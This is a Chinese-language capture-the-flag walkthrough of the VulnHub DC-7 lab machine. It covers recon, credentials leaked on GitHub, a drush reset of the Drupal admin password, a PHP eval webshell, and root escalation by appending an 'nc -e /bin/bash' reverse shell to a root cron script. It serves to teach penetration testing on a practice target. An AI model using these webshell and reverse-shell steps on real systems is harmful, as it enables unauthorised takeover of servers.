靶机介绍
靶机下载地址:https://download.vulnhub.com/dc/DC-7.zip
环境搭建
下载之后,解压,使用vmware导入或者virtualbox导入都可以,但注意要保证与你的攻击机在同一网段下,vmware要使用最新版
kali攻击机:192.168.98.136
靶机渗透
信息收集
扫描主机
靶机ip:192.168.98.145
扫描端口
22端口和80端口开放
爆破一下ssh:
nmap --script=ssh-brute 192.168.98.145
爆破失败了
查看80端口进行进一步信息的探测CMS是Drupal8,而且告诉我们不是暴力破解
尝试了msf中的漏洞不行exploit-db中根据版本来也不行
提示应该是要我们去外部搜索下信息,百度搜索这个dc7user,然后发现了github,然后找到了源码github源码地址
在config.php中发现了连接数据库的账号密码,尝试使用ssh连接,可以看到爆破前面爆破账号密码失败
<?php$servername = "localhost";$username = "dc7user";$password = "MdR3xOgB7#dW";$dbname = "Staff";$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
当我拿这个账号密码连接数据库失败了。。。
指纹识别
drupal
CMS
目录扫描
没什么好东西
漏洞挖掘
ssh登录
ssh dc7user@192.168.98.145
# 密码
MdR3xOgB7#dW
ssh 成功登录dc7user
账户
drush
修改密码登录后台
目录下有一个mbox文件,打开看看:
一封邮件,重点捕捉文件:/opt/scripts/backups.sh
接着查看这个backups.sh文件:
是一个备份程序,查看一下这个程序的权限:
看一下权限www-data和root都是有权限的
如果我们获得www-data的权限向这个脚本执行任务,那么我们就可以反弹root权限,因为会以root权限定时启动
看着这个备份脚本可以发现是一个drush配置的命令,它可以改变用户名密码
drush sql-dump --result-file=/home/dc7user/backups/website.sql
所以尝试修改一下密码
cd /var/www/html
drush user-password admin --password="123456"
补充:
drush
是一个命令行工具,特别为 Drupal 内容管理系统设计,用于执行各种管理和开发任务。在 Drupal 社区中,Drush 是一个非常流行的工具,因为它可以简化许多常见的 Drupal 任务。
命令 drush user-password admin --password="123456"
用于通过 Drush 工具更改 Drupal 系统中管理员账户的密码。
成功更改:
尝试用 admin 123456 账号密码登录:
成功登录:
Getshell
-
在Content—>Add content-->Basic page下,准备添加PHP代码反弹shell,但发现Drupal 8不支持PHP代码。
-
百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入
-
PHP介绍页面如下,模块包下载地址附上
https://www.drupal.org/project/php https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
发现这个位置是支持扩展的,所以我们想要创建一个webshell可以借助插件,看wp要去下载一个php的插件
将链接填入,点击安装:
成功安装页面:
点击:
把这个勾上:
往下滑到最后,点击安装:
到这就可以了:
回到home,点击edit编辑,直接写入一句话木马
写入一句话后门,保存为php格式:
<?php
@eval($_POST[pass]);
?>
蚁剑成功连接:
获取www-data权限
使用nc反弹shell:
定时任务文件写入提权
由于我们上一步骤已经得到了backups.sh脚本属主为root,属组为www-data,所以我们将反弹shell命令添加到脚本当中,等待执行脚本反弹shell即可得到root权限
//将反弹shell命令追加到文件当中,或者在webshell当中的文件管理直接写入
echo "nc -e /bin/bash 192.168.98.136 5577" >> backups.sh
成功写入:
直接等待计划任务执行即可:(你自己手动执行只会反弹www-data权限,并不会有root权限,所以必须要等待计划任务自动执行,可能需要个好几分钟!)
成功收到shell:
拿下flag
寻找flag:
读取flag文件:
总结
- Github泄露网站数据库配置信息导致泄露SSH账号密码
- Drupal利用drush重置网站管理员密码
- 网站写入php一句话木马Getshell
- 定时任务文件写入恶意代码进行提权